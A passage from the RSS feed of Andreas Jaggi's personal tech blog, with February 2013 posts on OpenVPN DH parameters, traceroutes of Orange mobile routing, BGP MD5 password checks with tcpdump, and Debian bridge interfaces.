  7740.    <link>https://blog.x-way.org/Linux/2013/02/27/Howto-generate-DH-parameters-for-OpenVPN.html</link>
  7741.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324201</guid>
  7742.    <dc:creator>Andreas Jaggi</dc:creator>
  7743.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7744.    <pubDate>Wed, 27 Feb 2013 18:29:00 +0100</pubDate>
  7745.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  7746.    <description><![CDATA[<pre>openssl gendh -out dh4096.pem 4096</pre>
  7747. ]]></description>
  7748.    <content:encoded><![CDATA[<pre>openssl gendh -out dh4096.pem 4096</pre>
  7749. ]]></content:encoded>
  7750.  </item>
  7751.  
  7752.  <item>
  7753.    <title>Orange Routing 2</title>
  7754.    <link>https://blog.x-way.org/Networking/2013/02/25/Orange-Routing-2.html</link>
  7755.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324200</guid>
  7756.    <dc:creator>Andreas Jaggi</dc:creator>
  7757.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7758.    <pubDate>Mon, 25 Feb 2013 13:20:00 +0100</pubDate>
  7759.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7760.    <description><![CDATA[<p>I did another test of the <a href="https://blog.x-way.org/Networking/2013/02/25/Orange-Routing.html" title="x-log - Orange Routing">Orange Routing</a>.<br>Running a traceroute to my server in Zurich and one to my vhost in Frankfurt.<br>First another version of the already familier traceroute to my server in Zurich:</p>
  7761. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7762.  1.|-- 172.20.10.1                0.0%     5    8.0   3.7   2.1   8.0   2.5
  7763.  2.|-- 10.8.8.67                  0.0%     5  174.8 114.9  56.7 205.6  69.8
  7764.  3.|-- 10.8.12.10                 0.0%     5  126.8 108.4  67.7 171.3  42.8
  7765.  4.|-- 192.168.249.201            0.0%     5   73.4  82.7  61.9 111.5  20.5
  7766.  5.|-- 192.168.253.191            0.0%     5   54.0  64.9  54.0  75.9   9.3
  7767.  6.|-- 192.168.250.203            0.0%     5   64.7  69.2  57.3  79.2   8.4
  7768.  7.|-- 10.10.10.10                0.0%     5   56.8  65.5  56.8  72.1   7.7
  7769.  8.|-- 10.255.200.1               0.0%     5   65.9  87.3  60.1 146.6  35.1
  7770.  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     5   84.8 117.1  76.4 162.5  36.9
  7771. 10.|-- pos14-0-1.pascr4.paris.op  0.0%     5   88.1 118.0  88.1 168.3  36.7
  7772. 11.|-- ge6-0-0.br2.par2.alter.ne  0.0%     5   76.5  90.5  76.5 109.1  12.0
  7773. 12.|-- so-2-3-0.xt2.zur3.alter.n  0.0%     5   76.8 109.1  76.8 203.2  53.1
  7774. 13.|-- pos2-0.gw4.zur4.alter.net  0.0%     5   88.8  98.7  84.3 143.4  25.2
  7775. 14.|-- uch200193-gw.customer.alt  0.0%     5   90.7  85.3  74.1  93.5   8.0
  7776. 15.|-- whale29.open.ch            0.0%     5   88.9  97.7  88.9 104.7   6.3
  7777. 16.|-- orca8.open.ch              0.0%     5   90.8  94.8  90.8 102.8   4.9
  7778. 17.|-- real.jaggi.info           20.0%     5  234.8 130.0  92.8 234.8  69.9</pre>
  7779. <p>Now the traceroute to the vhost in Frankfurt:</p>
  7780. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7781.  1.|-- 172.20.10.1                0.0%     5   15.2  13.1   1.9  44.5  18.4
  7782.  2.|-- 10.8.8.115                 0.0%     5   72.6  74.0  67.2  81.3   6.8
  7783.  3.|-- 10.8.12.10                 0.0%     5   80.7  75.0  64.0  89.6  10.3
  7784.  4.|-- 192.168.249.201            0.0%     5   65.1  78.9  65.1  94.0  12.3
  7785.  5.|-- 192.168.253.191            0.0%     5   73.1  70.4  66.5  73.3   2.8
  7786.  6.|-- 192.168.250.203            0.0%     5   69.5  73.9  66.3  86.6   7.7
  7787.  7.|-- 10.10.10.10                0.0%     5   67.0  72.7  67.0  80.0   4.9
  7788.  8.|-- 10.255.200.1               0.0%     5   70.9  74.4  69.7  86.4   7.0
  7789.  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     5   77.2  83.4  75.9  99.4   9.4
  7790. 10.|-- pos3-1-0.zurcr1.zurich.op  0.0%     5   83.8 103.2  83.8 146.9  26.3
  7791. 11.|-- pos0-9-4-0.ffttr1.frankfu  0.0%     5  102.9 103.6  98.7 108.8   4.9
  7792. 12.|-- leaseweb-9.gw.opentransit  0.0%     5   87.6  88.8  85.3  93.2   3.0
  7793. 13.|-- te3-1.core-2.fra.leaseweb  0.0%     5   85.4  91.5  85.4 106.1   8.5
  7794. 14.|-- hosted-by.leaseweb.com     0.0%     5   90.2  94.1  84.7 112.5  11.0
  7795. 15.|-- ???                       100.0     5    0.0   0.0   0.0   0.0   0.0
  7796. 16.|-- 0.jaggi.info              20.0%     5   89.9 117.5  86.3 205.5  58.7</pre>
  7797. <p>As you can see, the RTT is higher for the server in Zurich than for the vhost in Frankfurt! (keep in mind that source of these measurement is my laptop in the train 8 minutes away from Zurich now)</p>
  7798. <p>So Orange has higher latency to hosts in the same region/city than to hosts in another country which are more than 350km away. :-(<br>The next time I choose a mobile provider it might be good to analyse its BGP peerings and routing policies first...</p>
  7799. ]]></description>
  7800.    <content:encoded><![CDATA[<p>I did another test of the <a href="https://blog.x-way.org/Networking/2013/02/25/Orange-Routing.html" title="x-log - Orange Routing">Orange Routing</a>.<br>Running a traceroute to my server in Zurich and one to my vhost in Frankfurt.<br>First another version of the already familier traceroute to my server in Zurich:</p>
  7801. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7802.  1.|-- 172.20.10.1                0.0%     5    8.0   3.7   2.1   8.0   2.5
  7803.  2.|-- 10.8.8.67                  0.0%     5  174.8 114.9  56.7 205.6  69.8
  7804.  3.|-- 10.8.12.10                 0.0%     5  126.8 108.4  67.7 171.3  42.8
  7805.  4.|-- 192.168.249.201            0.0%     5   73.4  82.7  61.9 111.5  20.5
  7806.  5.|-- 192.168.253.191            0.0%     5   54.0  64.9  54.0  75.9   9.3
  7807.  6.|-- 192.168.250.203            0.0%     5   64.7  69.2  57.3  79.2   8.4
  7808.  7.|-- 10.10.10.10                0.0%     5   56.8  65.5  56.8  72.1   7.7
  7809.  8.|-- 10.255.200.1               0.0%     5   65.9  87.3  60.1 146.6  35.1
  7810.  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     5   84.8 117.1  76.4 162.5  36.9
  7811. 10.|-- pos14-0-1.pascr4.paris.op  0.0%     5   88.1 118.0  88.1 168.3  36.7
  7812. 11.|-- ge6-0-0.br2.par2.alter.ne  0.0%     5   76.5  90.5  76.5 109.1  12.0
  7813. 12.|-- so-2-3-0.xt2.zur3.alter.n  0.0%     5   76.8 109.1  76.8 203.2  53.1
  7814. 13.|-- pos2-0.gw4.zur4.alter.net  0.0%     5   88.8  98.7  84.3 143.4  25.2
  7815. 14.|-- uch200193-gw.customer.alt  0.0%     5   90.7  85.3  74.1  93.5   8.0
  7816. 15.|-- whale29.open.ch            0.0%     5   88.9  97.7  88.9 104.7   6.3
  7817. 16.|-- orca8.open.ch              0.0%     5   90.8  94.8  90.8 102.8   4.9
  7818. 17.|-- real.jaggi.info           20.0%     5  234.8 130.0  92.8 234.8  69.9</pre>
  7819. <p>Now the traceroute to the vhost in Frankfurt:</p>
  7820. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7821.  1.|-- 172.20.10.1                0.0%     5   15.2  13.1   1.9  44.5  18.4
  7822.  2.|-- 10.8.8.115                 0.0%     5   72.6  74.0  67.2  81.3   6.8
  7823.  3.|-- 10.8.12.10                 0.0%     5   80.7  75.0  64.0  89.6  10.3
  7824.  4.|-- 192.168.249.201            0.0%     5   65.1  78.9  65.1  94.0  12.3
  7825.  5.|-- 192.168.253.191            0.0%     5   73.1  70.4  66.5  73.3   2.8
  7826.  6.|-- 192.168.250.203            0.0%     5   69.5  73.9  66.3  86.6   7.7
  7827.  7.|-- 10.10.10.10                0.0%     5   67.0  72.7  67.0  80.0   4.9
  7828.  8.|-- 10.255.200.1               0.0%     5   70.9  74.4  69.7  86.4   7.0
  7829.  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     5   77.2  83.4  75.9  99.4   9.4
  7830. 10.|-- pos3-1-0.zurcr1.zurich.op  0.0%     5   83.8 103.2  83.8 146.9  26.3
  7831. 11.|-- pos0-9-4-0.ffttr1.frankfu  0.0%     5  102.9 103.6  98.7 108.8   4.9
  7832. 12.|-- leaseweb-9.gw.opentransit  0.0%     5   87.6  88.8  85.3  93.2   3.0
  7833. 13.|-- te3-1.core-2.fra.leaseweb  0.0%     5   85.4  91.5  85.4 106.1   8.5
  7834. 14.|-- hosted-by.leaseweb.com     0.0%     5   90.2  94.1  84.7 112.5  11.0
  7835. 15.|-- ???                       100.0     5    0.0   0.0   0.0   0.0   0.0
  7836. 16.|-- 0.jaggi.info              20.0%     5   89.9 117.5  86.3 205.5  58.7</pre>
  7837. <p>As you can see, the RTT is higher for the server in Zurich than for the vhost in Frankfurt! (keep in mind that source of these measurement is my laptop in the train 8 minutes away from Zurich now)</p>
  7838. <p>So Orange has higher latency to hosts in the same region/city than to hosts in another country which are more than 350km away. :-(<br>The next time I choose a mobile provider it might be good to analyse its BGP peerings and routing policies first...</p>
  7839. ]]></content:encoded>
  7840.  </item>
  7841.  
  7842.  <item>
  7843.    <title>Orange Routing</title>
  7844.    <link>https://blog.x-way.org/Networking/2013/02/25/Orange-Routing.html</link>
  7845.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324199</guid>
  7846.    <dc:creator>Andreas Jaggi</dc:creator>
  7847.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7848.    <pubDate>Mon, 25 Feb 2013 12:34:00 +0100</pubDate>
  7849.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7850.    <description><![CDATA[<p>While in the train from Bern to Zurich, I did a traceroute towards the server which currently hosts this weblog (it is located at <a href="http://www.open.ch" title="Open Systems">Open Systems</a> in Zurich). The connection starts on my laptop and is thethered via my cell to the Orange backbone.</p>
  7851. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7852.  1.|-- 172.20.10.1                0.0%     5    2.0  12.1   1.7  33.2  14.6
  7853.  2.|-- 10.8.8.67                  0.0%     5   52.2 373.4  52.2 1241. 504.8
  7854.  3.|-- 10.8.12.10                 0.0%     5   50.9 347.4  50.9 1143. 453.3
  7855.  4.|-- 192.168.249.201            0.0%     5   51.2 282.7  51.2 1042. 426.8
  7856.  5.|-- 192.168.253.191            0.0%     5   51.2 226.2  44.5 942.2 400.3
  7857.  6.|-- 192.168.250.203            0.0%     5   51.4 206.7  37.9 847.5 358.2
  7858.  7.|-- 10.10.10.10                0.0%     5   50.0 181.4  29.6 746.9 316.2
  7859.  8.|-- 10.255.200.1               0.0%     5   50.0 172.2  36.9 645.6 264.9
  7860.  9.|-- 193.251.248.145            0.0%     4   60.2  59.8  46.2  81.9  15.8
  7861. 10.|-- 193.251.240.53             0.0%     4   70.0  76.4  64.9 101.6  16.9
  7862. 11.|-- 146.188.112.77             0.0%     4   70.4  74.0  69.2  83.8   6.7
  7863. 12.|-- 146.188.5.1                0.0%     4   70.6  71.7  58.1  88.1  12.3
  7864. 13.|-- 146.188.4.194              0.0%     4   70.5  61.9  51.6  70.9  10.2
  7865. 14.|-- 146.188.64.74              0.0%     4   71.3  69.2  58.8  75.4   7.2
  7866. 15.|-- 213.156.230.29             0.0%     4   71.5  78.3  62.6 108.9  20.7
  7867. 16.|-- 213.156.229.8              0.0%     4   72.2  75.2  70.4  81.9   5.1
  7868. 17.|-- 213.156.229.222           25.0%     4   80.8  76.2  61.2  86.5  13.3</pre>
  7869. <p>You can see that the traffic is passed through 8 different routers inside the Orange backbone (using IPs from all three RFC1918 ranges...) before it is let onto the Internet.<br>
  7870. And then the real fun starts (let's use DNS names for this):</p>
  7871. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7872.  1.|-- 172.20.10.1                0.0%     5    2.0  12.2   1.9  33.3  14.5
  7873.  2.|-- 10.8.8.67                  0.0%     5   44.2 345.6  27.0 1167. 494.2
  7874.  3.|-- 10.8.12.10                 0.0%     5   52.2 308.9  27.0 1104. 462.4
  7875.  4.|-- 192.168.249.201            0.0%     5   33.4 264.9  27.2 1014. 427.1
  7876.  5.|-- 192.168.253.191            0.0%     5   30.3 227.5  27.3 952.9 406.4
  7877.  6.|-- 192.168.250.203            0.0%     5   50.4 200.7  27.0 860.0 368.7
  7878.  7.|-- 10.10.10.10                0.0%     5   72.4 193.5  30.5 779.2 327.8
  7879.  8.|-- 10.255.200.1               0.0%     5   31.8 166.8  27.6 688.0 291.5
  7880.  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     4   50.8  55.0  47.6  67.1   8.6
  7881. 10.|-- pos14-0-1.pascr4.paris.op  0.0%     4   61.0  64.4  57.7  78.5   9.5
  7882. 11.|-- ge6-0-0.br2.par2.alter.ne  0.0%     4   70.8  56.3  48.4  70.8   9.9
  7883. 12.|-- so-2-3-0.xt2.zur3.alter.n  0.0%     4  108.9  65.6  48.0 108.9  29.2
  7884. 13.|-- pos2-0.gw4.zur4.alter.net  0.0%     4   51.7  55.5  50.3  68.8   8.8
  7885. 14.|-- uch200193-gw.customer.alt  0.0%     4  171.8  83.6  50.7 171.8  58.8
  7886. 15.|-- whale29.open.ch            0.0%     4  132.1  90.0  59.2 132.1  32.7
  7887. 16.|-- orca8.open.ch              0.0%     4   72.4  66.8  58.6  73.5   7.3
  7888. 17.|-- real.jaggi.info           25.0%     4   80.2  64.7  56.2  80.2  13.4</pre>
  7889. <p>As we see, Orange injects their mobile data traffic into the Internet in Geneva (pos0-1-1-1.gencr1.geneve.).<br>
  7890. Then it is first sent to Paris (pas14-0-1.pascr4.paris.op and ge6-0-0.br2.par2.alter.ne) and from there back to Zurich (so-2-3-0.xt2.yur3.alter.n and all the following hosts).</p>
  7891. <p>I can kind of understand that the traffic is routed via Geneva (main Orange infrastructure is there), but why is it sent to Paris? (especially since Geneva&lt;-&gt;Zurich is the main Internet connection inside Switzerland where most of the countries fiber is buried).</p>
  7892. <p>I guess this explains why my mobile data speed is not always as fast as I like it to be...</p>
  7893. ]]></description>
  7894.    <content:encoded><![CDATA[<p>While in the train from Bern to Zurich, I did a traceroute towards the server which currently hosts this weblog (it is located at <a href="http://www.open.ch" title="Open Systems">Open Systems</a> in Zurich). The connection starts on my laptop and is thethered via my cell to the Orange backbone.</p>
  7895. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7896.  1.|-- 172.20.10.1                0.0%     5    2.0  12.1   1.7  33.2  14.6
  7897.  2.|-- 10.8.8.67                  0.0%     5   52.2 373.4  52.2 1241. 504.8
  7898.  3.|-- 10.8.12.10                 0.0%     5   50.9 347.4  50.9 1143. 453.3
  7899.  4.|-- 192.168.249.201            0.0%     5   51.2 282.7  51.2 1042. 426.8
  7900.  5.|-- 192.168.253.191            0.0%     5   51.2 226.2  44.5 942.2 400.3
  7901.  6.|-- 192.168.250.203            0.0%     5   51.4 206.7  37.9 847.5 358.2
  7902.  7.|-- 10.10.10.10                0.0%     5   50.0 181.4  29.6 746.9 316.2
  7903.  8.|-- 10.255.200.1               0.0%     5   50.0 172.2  36.9 645.6 264.9
  7904.  9.|-- 193.251.248.145            0.0%     4   60.2  59.8  46.2  81.9  15.8
  7905. 10.|-- 193.251.240.53             0.0%     4   70.0  76.4  64.9 101.6  16.9
  7906. 11.|-- 146.188.112.77             0.0%     4   70.4  74.0  69.2  83.8   6.7
  7907. 12.|-- 146.188.5.1                0.0%     4   70.6  71.7  58.1  88.1  12.3
  7908. 13.|-- 146.188.4.194              0.0%     4   70.5  61.9  51.6  70.9  10.2
  7909. 14.|-- 146.188.64.74              0.0%     4   71.3  69.2  58.8  75.4   7.2
  7910. 15.|-- 213.156.230.29             0.0%     4   71.5  78.3  62.6 108.9  20.7
  7911. 16.|-- 213.156.229.8              0.0%     4   72.2  75.2  70.4  81.9   5.1
  7912. 17.|-- 213.156.229.222           25.0%     4   80.8  76.2  61.2  86.5  13.3</pre>
  7913. <p>You can see that the traffic is passed through 8 different routers inside the Orange backbone (using IPs from all three RFC1918 ranges...) before it is let onto the Internet.<br>
  7914. And then the real fun starts (let's use DNS names for this):</p>
  7915. <pre>HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  7916.  1.|-- 172.20.10.1                0.0%     5    2.0  12.2   1.9  33.3  14.5
  7917.  2.|-- 10.8.8.67                  0.0%     5   44.2 345.6  27.0 1167. 494.2
  7918.  3.|-- 10.8.12.10                 0.0%     5   52.2 308.9  27.0 1104. 462.4
  7919.  4.|-- 192.168.249.201            0.0%     5   33.4 264.9  27.2 1014. 427.1
  7920.  5.|-- 192.168.253.191            0.0%     5   30.3 227.5  27.3 952.9 406.4
  7921.  6.|-- 192.168.250.203            0.0%     5   50.4 200.7  27.0 860.0 368.7
  7922.  7.|-- 10.10.10.10                0.0%     5   72.4 193.5  30.5 779.2 327.8
  7923.  8.|-- 10.255.200.1               0.0%     5   31.8 166.8  27.6 688.0 291.5
  7924.  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     4   50.8  55.0  47.6  67.1   8.6
  7925. 10.|-- pos14-0-1.pascr4.paris.op  0.0%     4   61.0  64.4  57.7  78.5   9.5
  7926. 11.|-- ge6-0-0.br2.par2.alter.ne  0.0%     4   70.8  56.3  48.4  70.8   9.9
  7927. 12.|-- so-2-3-0.xt2.zur3.alter.n  0.0%     4  108.9  65.6  48.0 108.9  29.2
  7928. 13.|-- pos2-0.gw4.zur4.alter.net  0.0%     4   51.7  55.5  50.3  68.8   8.8
  7929. 14.|-- uch200193-gw.customer.alt  0.0%     4  171.8  83.6  50.7 171.8  58.8
  7930. 15.|-- whale29.open.ch            0.0%     4  132.1  90.0  59.2 132.1  32.7
  7931. 16.|-- orca8.open.ch              0.0%     4   72.4  66.8  58.6  73.5   7.3
  7932. 17.|-- real.jaggi.info           25.0%     4   80.2  64.7  56.2  80.2  13.4</pre>
  7933. <p>As we see, Orange injects their mobile data traffic into the Internet in Geneva (pos0-1-1-1.gencr1.geneve.).<br>
  7934. Then it is first sent to Paris (pas14-0-1.pascr4.paris.op and ge6-0-0.br2.par2.alter.ne) and from there back to Zurich (so-2-3-0.xt2.yur3.alter.n and all the following hosts).</p>
  7935. <p>I can kind of understand that the traffic is routed via Geneva (main Orange infrastructure is there), but why is it sent to Paris? (especially since Geneva&lt;-&gt;Zurich is the main Internet connection inside Switzerland where most of the countries fiber is buried).</p>
  7936. <p>I guess this explains why my mobile data speed is not always as fast as I like it to be...</p>
  7937. ]]></content:encoded>
  7938.  </item>
  7939.  
  7940.  <item>
  7941.    <title>Administrative Distance</title>
  7942.    <link>https://blog.x-way.org/Networking/2013/02/18/Administrative-Distance.html</link>
  7943.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324198</guid>
  7944.    <dc:creator>Andreas Jaggi</dc:creator>
  7945.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7946.    <pubDate>Mon, 18 Feb 2013 08:39:00 +0100</pubDate>
  7947.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7948.    <description><![CDATA[<p>When using more than one dynamic routing protocol, make sure to know their <a href="http://en.wikipedia.org/wiki/Administrative_distance" title="Administrative distance">administrative distance</a>.</p>
  7949. <p>Further it is usually a bad idea to redistribute routes from a dynamic routing protocol into another one with a lower administrative distance. Especially when having multiple handover points between the two protocols.</p>
  7950. ]]></description>
  7951.    <content:encoded><![CDATA[<p>When using more than one dynamic routing protocol, make sure to know their <a href="http://en.wikipedia.org/wiki/Administrative_distance" title="Administrative distance">administrative distance</a>.</p>
  7952. <p>Further it is usually a bad idea to redistribute routes from a dynamic routing protocol into another one with a lower administrative distance. Especially when having multiple handover points between the two protocols.</p>
  7953. ]]></content:encoded>
  7954.  </item>
  7955.  
  7956.  <item>
  7957.    <title>I ♡ snow</title>
  7958.    <link>https://blog.x-way.org/Misc/2013/02/17/I-love-snow.html</link>
  7959.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324197</guid>
  7960.    <dc:creator>Andreas Jaggi</dc:creator>
  7961.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7962.    <pubDate>Sun, 17 Feb 2013 17:31:00 +0100</pubDate>
  7963.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  7964.    <description><![CDATA[<p><a href="https://blog.x-way.org/images/i-love-snow-full.jpg" title="I ♡ snow"><img alt="I love snow" src="https://blog.x-way.org/images/i-love-snow.jpg" height="164" width="507" title="I ♡ snow"></a></p>
  7965. ]]></description>
  7966.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/images/i-love-snow-full.jpg" title="I ♡ snow"><img alt="I love snow" src="https://blog.x-way.org/images/i-love-snow.jpg" height="164" width="507" title="I ♡ snow"></a></p>
  7967. ]]></content:encoded>
  7968.  </item>
  7969.  
  7970.  <item>
  7971.    <title>Computer Science</title>
  7972.    <link>https://blog.x-way.org/Misc/2013/02/14/Computer-Science.html</link>
  7973.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324196</guid>
  7974.    <dc:creator>Andreas Jaggi</dc:creator>
  7975.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7976.    <pubDate>Thu, 14 Feb 2013 18:07:00 +0100</pubDate>
  7977.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  7978.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/comp-sci.jpg" height="371" width="497" alt="Computer Science"><br>via <a href="http://boingboing.net/2013/02/14/photo-of-the-computer-science.html" title="Photo of the Computer Science section at Barnes and Noble">boingboing.net</a></p>
  7979. ]]></description>
  7980.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/comp-sci.jpg" height="371" width="497" alt="Computer Science"><br>via <a href="http://boingboing.net/2013/02/14/photo-of-the-computer-science.html" title="Photo of the Computer Science section at Barnes and Noble">boingboing.net</a></p>
  7981. ]]></content:encoded>
  7982.  </item>
  7983.  
  7984.  <item>
  7985.    <title>Updated HAVP blacklist script</title>
  7986.    <link>https://blog.x-way.org/Linux/2013/02/13/Updated-HAVP-blacklist-script.html</link>
  7987.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324195</guid>
  7988.    <dc:creator>Andreas Jaggi</dc:creator>
  7989.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7990.    <pubDate>Wed, 13 Feb 2013 18:02:00 +0100</pubDate>
  7991.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  7992.    <description><![CDATA[<p>The <a href="https://blog.x-way.org/Linux/2013/01/01/HAVP-PhishTank-and-Adserver-Blacklist.html">HAVP blacklist script</a> chocked on some entries from <a href="http://www.phishtank.com/" title="PhishTank">PhishTank</a>. These issues have been fixed with some more sed magic and I've put and updated version of the script on <a href="https://gist.github.com/x-way/4945994" title="makeblacklist.sh">Github</a>.</p>
  7993. <script src="https://gist.github.com/x-way/4945994.js"></script>
  7994. ]]></description>
  7995.    <content:encoded><![CDATA[<p>The <a href="https://blog.x-way.org/Linux/2013/01/01/HAVP-PhishTank-and-Adserver-Blacklist.html">HAVP blacklist script</a> chocked on some entries from <a href="http://www.phishtank.com/" title="PhishTank">PhishTank</a>. These issues have been fixed with some more sed magic and I've put and updated version of the script on <a href="https://gist.github.com/x-way/4945994" title="makeblacklist.sh">Github</a>.</p>
  7996. <script src="https://gist.github.com/x-way/4945994.js"></script>
  7997. ]]></content:encoded>
  7998.  </item>
  7999.  
  8000.  <item>
  8001.    <title>Verify a BGP MD5 password before session turnup</title>
  8002.    <link>https://blog.x-way.org/Networking/2013/02/13/Verify-a-BGP-MD5-password-before-session-turnup.html</link>
  8003.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324194</guid>
  8004.    <dc:creator>Andreas Jaggi</dc:creator>
  8005.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8006.    <pubDate>Wed, 13 Feb 2013 09:02:00 +0100</pubDate>
  8007.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  8008.    <description><![CDATA[<p>When setting up a new BGP peering, you may want to test if your peering partner uses the correct MD5 password without bringing up your side of the session.<br>
  8009. For this the <a href="http://www.tcpdump.org" title="TCPDUMP">tcpdump</a> option <var>-M</var> can be used to supply the MD5 password when sniffing the traffic of the new peer:</p>
  8010. <pre>tcpdump -ni eth0 -M MyBgPMd5PaSsWoRd tcp port 179</pre>
  8011. <p>tcpdump will then verify the MD5 signature for every packet where it finds a MD5 signature TCP option as specified in <a href="https://tools.ietf.org/html/rfc2385" title="RFC2385">RFC2385</a>.
  8012. <br>
  8013. In the output you will see <var>md5valid</var> for packets where your password matches the MD5 signature or <var>md5invalid</var> for packets where your password does not match the MD5 signature.<br>If you see neither <var>md5valid</var> nor <var>md5invalid</var> then the peer did not configure any MD5 BGP password.</p>
  8014. <p>If you want to check for mismatching MD5 passwords after you bring up the BGP session, just look into the kernel log. Linux reports invalid MD5 TCP signatures like this:</p>
  8015. <pre>MD5 Hash failed for (1.2.3.4, 56789)-&gt;(1.2.3.5, 179)</pre>
  8016. ]]></description>
  8017.    <content:encoded><![CDATA[<p>When setting up a new BGP peering, you may want to test if your peering partner uses the correct MD5 password without bringing up your side of the session.<br>
  8018. For this the <a href="http://www.tcpdump.org" title="TCPDUMP">tcpdump</a> option <var>-M</var> can be used to supply the MD5 password when sniffing the traffic of the new peer:</p>
  8019. <pre>tcpdump -ni eth0 -M MyBgPMd5PaSsWoRd tcp port 179</pre>
  8020. <p>tcpdump will then verify the MD5 signature for every packet where it finds a MD5 signature TCP option as specified in <a href="https://tools.ietf.org/html/rfc2385" title="RFC2385">RFC2385</a>.
  8021. <br>
  8022. In the output you will see <var>md5valid</var> for packets where your password matches the MD5 signature or <var>md5invalid</var> for packets where your password does not match the MD5 signature.<br>If you see neither <var>md5valid</var> nor <var>md5invalid</var> then the peer did not configure any MD5 BGP password.</p>
  8023. <p>If you want to check for mismatching MD5 passwords after you bring up the BGP session, just look into the kernel log. Linux reports invalid MD5 TCP signatures like this:</p>
  8024. <pre>MD5 Hash failed for (1.2.3.4, 56789)-&gt;(1.2.3.5, 179)</pre>
  8025. ]]></content:encoded>
  8026.  </item>
  8027.  
  8028.  <item>
  8029.    <title>Configure unattached Bridge Interfaces in Debian</title>
  8030.    <link>https://blog.x-way.org/Linux/2013/02/05/Configure-unattached-Bridge-Interfaces-in-Debian.html</link>
  8031.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324193</guid>
  8032.    <dc:creator>Andreas Jaggi</dc:creator>
  8033.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8034.    <pubDate>Tue, 05 Feb 2013 08:42:00 +0100</pubDate>
  8035.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  8036.    <description><![CDATA[<p>When working with virtualization technologies like KVM on Debian, you might need to configure bridge interfaces which are not attached to a physical interfaces (for example for a non-routed management network or similar).<br>
  8037. Debian uses the directive <var>bridge_ports</var> in <var>/etc/network/interfaces</var> to indicate whether an interface is a bridge interface or not.
  8038. The syntax checker does not accept an empty <var>bridge_ports</var> directive since he expects a list of physical interfaces to attach to the bridge interface.</p>
  8039. <p>When needing a bridge interface without any physical interfaces attached, usually people configure this interface by hand or with a special script.<br>
  8040. Since I manage <var>/etc/network/interfaces</var> with <a href="https://github.com/x-way/puppet-interfaces" title="puppet-interfaces">my Puppet module</a>, I would like to use it to configure all network interfaces including the unattached bridge interfaces.<br>
  8041. It turns out that this can be done by passing <var>none</var> as parameter for the <var>bridge_ports</var> directive like this:
  8042. </p>
  8043. <pre>interface br0 inet static
  8044. address 192.0.2.1
  8045. netmask 255.255.255.0
  8046. bridge_ports none</pre>
  8047. ]]></description>
  8048.    <content:encoded><![CDATA[<p>When working with virtualization technologies like KVM on Debian, you might need to configure bridge interfaces which are not attached to a physical interfaces (for example for a non-routed management network or similar).<br>
  8049. Debian uses the directive <var>bridge_ports</var> in <var>/etc/network/interfaces</var> to indicate whether an interface is a bridge interface or not.
  8050. The syntax checker does not accept an empty <var>bridge_ports</var> directive since he expects a list of physical interfaces to attach to the bridge interface.</p>
  8051. <p>When needing a bridge interface without any physical interfaces attached, usually people configure this interface by hand or with a special script.<br>
  8052. Since I manage <var>/etc/network/interfaces</var> with <a href="https://github.com/x-way/puppet-interfaces" title="puppet-interfaces">my Puppet module</a>, I would like to use it to configure all network interfaces including the unattached bridge interfaces.<br>
  8053. It turns out that this can be done by passing <var>none</var> as parameter for the <var>bridge_ports</var> directive like this:
  8054. </p>
  8055. <pre>interface br0 inet static
  8056. address 192.0.2.1
  8057. netmask 255.255.255.0
  8058. bridge_ports none</pre>
  8059. ]]></content:encoded>
  8060.  </item>
  8061.  
  8062.  <item>
  8063.    <title>Nice-looking templates for HAVP</title>
